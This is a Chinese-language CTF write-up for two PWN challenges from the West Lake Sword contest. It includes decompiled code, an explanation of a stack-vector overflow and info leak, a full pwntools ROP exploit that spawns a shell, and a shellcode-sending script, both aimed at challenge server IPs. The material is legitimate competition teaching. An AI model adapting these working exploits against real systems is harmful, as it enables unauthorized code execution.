第八届西湖论剑·中国杭州网络安全安全技能大赛CTF夺旗赛PWN题部分题解
第八届西湖论剑·中国杭州网络安全安全技能大赛CTF夺旗赛PWN题部分题解
PWN Vpwn
下载附件,里面两个文件一个Vpwn,一个库文件,先check一下Vpwn文件看看
64位保护全开,拖进IDA中进行分析,查看main
函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // ebx
int v5; // [rsp+8h] [rbp-68h] BYREF
int v6; // [rsp+Ch] [rbp-64h] BYREF
unsigned __int64 v7; // [rsp+10h] [rbp-60h] BYREF
char v8[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v9; // [rsp+58h] [rbp-18h]
v9 = __readfsqword(0x28u); // 栈保护机制(Canary)
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_1840((__int64)v8); // 初始化向量
while ( 1 )
{
// 打印菜单
std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n");
std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n");
std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n");
std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n");
std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n");
std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n");
std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: ");
std::istream::operator>>(&std::cin, &v5); // 读取用户选择
switch ( v5 )
{
case1: // 编辑元素
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
std::istream::operator>>(&std::cin, &v7); // 读取索引
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
std::istream::operator>>(&std::cin, &v6); // 读取新值
v3 = v6;
*(_DWORD *)sub_185C((__int64)v8, v7) = v3; // 修改元素
std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
break;
case2: // 推入元素
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: ");
std::istream::operator>>(&std::cin, &v7); // 读取值
sub_18F4((__int64)v8, (int *)&v7); // 推入元素
std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n");
break;
case3: // 弹出元素
sub_1928((__int64)v8); // 弹出元素
std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n");
break;
case4: // 打印向量
sub_19BC((__int64)v8); // 打印向量内容
break;
case5: // 退出程序
std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n");
return0LL;
default:
std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n");
break;
}
}
}
大致可以得出程序的基本功能 通过菜单选项来操作一个向量(StackVector
)。主要功能包括:编辑元素,推入元素,弹出元素,打印向量,退出程序
跟进一下sub_1840
函数(是初始化向量)
函数初始化向量,将向量的大小设置为 0。
接着看其他功能函数sub_185C
函数(编辑元素)
简要分析一下
__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
std::out_of_range *exception; // rbx
if ( a2 >= *(_QWORD *)(a1 + 24) ) // 检查索引是否越界
{
exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
std::out_of_range::out_of_range(exception, "Index out of range");
__cxa_throw(
exception,
(struct type_info *)&`typeinfo for'std::out_of_range,
(void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
}
return4 * a2 + a1; // 返回元素地址
}
函数主要用于编辑向量中的元素,虽然函数检查了索引是否越界,但如果索引为负数,会导致未定义行为。没什么用接着跟进其他功能函数sub_18F4
函数(推入元素)
分析一下,发现漏洞点
__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{
int v2; // ecx
__int64 result; // rax
v2 = *a2;
result = *(_QWORD *)(a1 + 24); // 获取当前大小
*(_QWORD *)(a1 + 24) = result + 1; // 增加大小
*(_DWORD *)(a1 + 4 * result) = v2; // 写入新元素
return result;
}
用于向向量中推入一个新元素。没有检查向量是否已满,导致堆栈溢出。
接着分析,跟进下sub_1928
函数
分析一下
__int64 __fastcall sub_1928(__int64 a1)
{
std::out_of_range *exception; // rbx
__int64 result; // rax
if ( !*(_QWORD *)(a1 + 24) ) // 检查向量是否为空
{
exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
std::out_of_range::out_of_range(exception, "StackVector is empty");
__cxa_throw(
exception,
(struct type_info *)&`typeinfo for'std::out_of_range,
(void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
}
result = a1;
--*(_QWORD *)(a1 + 24); // 减少大小
return result;
}
函数主要从向量中弹出最后一个元素。没有释放内存,可能会内存泄漏。
分析下最后一个功能函数sub_19BC
函数
分析一下
__int64 __fastcall sub_19BC(__int64 a1)
{
__int64 v1; // rax
unsigned __int64 i; // [rsp+18h] [rbp-8h]
std::operator<<<std::char_traits<char>>(&std::cout, "StackVector contents: ");
for ( i = 0LL; i < *(_QWORD *)(a1 + 24); ++i ) // 遍历向量
{
v1 = std::ostream::operator<<(&std::cout, *(unsignedint *)(a1 + 4 * i)); // 打印元素
std::operator<<<std::char_traits<char>>(v1, " ");
}
returnstd::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}
函数实现了打印向量中的所有元素,但是没有检查向量大小,可以越界访问,
分析完了总结下漏洞点
sub_18F4
函数中,推入元素时没有检查向量是否已满,可能导致堆栈溢出。在sub_185C
函数中,索引为负数时可能导致未定义行为。通过打印向量内容,可以泄露堆栈上的数据,包括 libc 地址。通过编辑向量中的元素,可以构造 ROP 链,利用 libc 中的函数(如system
)来执行任意命令。
确定下思路开始编写exp
首先先推入多个元素,使向量中存储堆栈上的数据,打印向量内容,获取 libc 地址,然后计算下libc基地址,然后构造ROP链,分别计算system
、/bin/sh
和pop_rdi
的地址在ROP链中构造出system("/bin/sh"),通过编辑功能将ROP链写入,最后选择退出程序,触发 ROP 链的执行。获取shell
开始编写exp
完整exp如下:
from pwn import *
libc = ELF('./libc.so.6')
io = remote('139.155.126.78', 17615)
def command(option):
io.sendlineafter(b'choice', str(option).encode())
def edit(idx, content=b'1'):
command(1)
io.recvuntil(b'edit')
io.sendline(str(idx).encode())
io.recvuntil(b'value')
io.sendline(str(content).encode())
def dword_data(data, half):
if half == 0:
tmp = data & 0xffffffff
else:
tmp = (data >> 32) & 0xffffffff
if tmp > 0x7FFFFFFF:
tmp -= 2**32
return tmp
for i in range(8):
command(2)
io.recvuntil(b'push')
io.sendline(b'888')
command(4)
io.recvuntil(b'StackVector contents: ')
vector_data = io.recvuntil(b'\n').split(b' ')
libc_addr = (int(vector_data[19]) << 32) + (int(vector_data[18]) & 0xffffffff)
libcbase = libc_addr - 0x29d90
system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
pop_rdi = libcbase + 0x2a3e5
rop_index = 18
#构造ROP链
edit(rop_index, dword_data(pop_rdi + 1, 0))
edit(rop_index + 1, dword_data(pop_rdi + 1, 1))
edit(rop_index + 2, dword_data(pop_rdi, 0))
edit(rop_index + 3, dword_data(pop_rdi, 1))
edit(rop_index + 4, dword_data(str_bin_sh, 0))
edit(rop_index + 5, dword_data(str_bin_sh, 1))
edit(rop_index + 6, dword_data(system, 0))
edit(rop_index + 7, dword_data(system, 1))
command(5)
io.interactive()
Heaven's door
下载附件先check一下
64位部分保护开启,拖进IDA中进行分
分析主函数
调用fork()
创建子进程。父进程:使用mmap
分配一块内存(地址0x10000
,大小0x1000
)。从标准输入读取最多0xC3
字节的数据到分配的内存中。调用count_syscall_instructions
检查输入的数据中是否包含超过 2 个系统调用指令(syscall
或int 0x80
)。如果系统调用指令超过 2 个,程序退出。否则,调用sandbox
设置沙箱规则,并执行用户输入的代码。子进程:调用made_in_heaven
输出一些字符串。
跟进分析一下sandbox
函数:
使用prctl
设置沙箱规则,限制程序的行为(例如禁止创建新进程、禁止执行某些系统调用等)。
接着分析count_syscall_instructions
函数:
检查用户输入的代码中是否包含系统调用指令(0x0F 0x05
或0xCD 0x80
接着分析made_in_heaven 函数
输出一些字符串,模拟程序的行为
整个大开分析一下,程序限制了系统调用的数量(最多 2 个),构造一个 payload,确保其中的系统调用指令不超过 2 个,同时能够实现目标(例如获取 shell)。
思路确定编写脚本
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
syscall_count = shellcode.count(b'\x0f\x05')
if syscall_count > 2:
print("Shellcode contains too many syscalls!")
exit(1)
print(f"Generated shellcode (syscall count: {syscall_count}):")
print(hexdump(shellcode))
io = remote('139.155.126.78', 32350)
io.send(shellcode)
io.interactive()
感兴趣的师傅可以试试题目附件:
通过网盘分享的文件:2025西湖论剑PWN题 链接: https://pan.baidu.com/s/1e2l_7BNq1Bk02WlgUu2QkQ?pwd=1111 提取码: 1111 --来自百度网盘超级会员v3的分享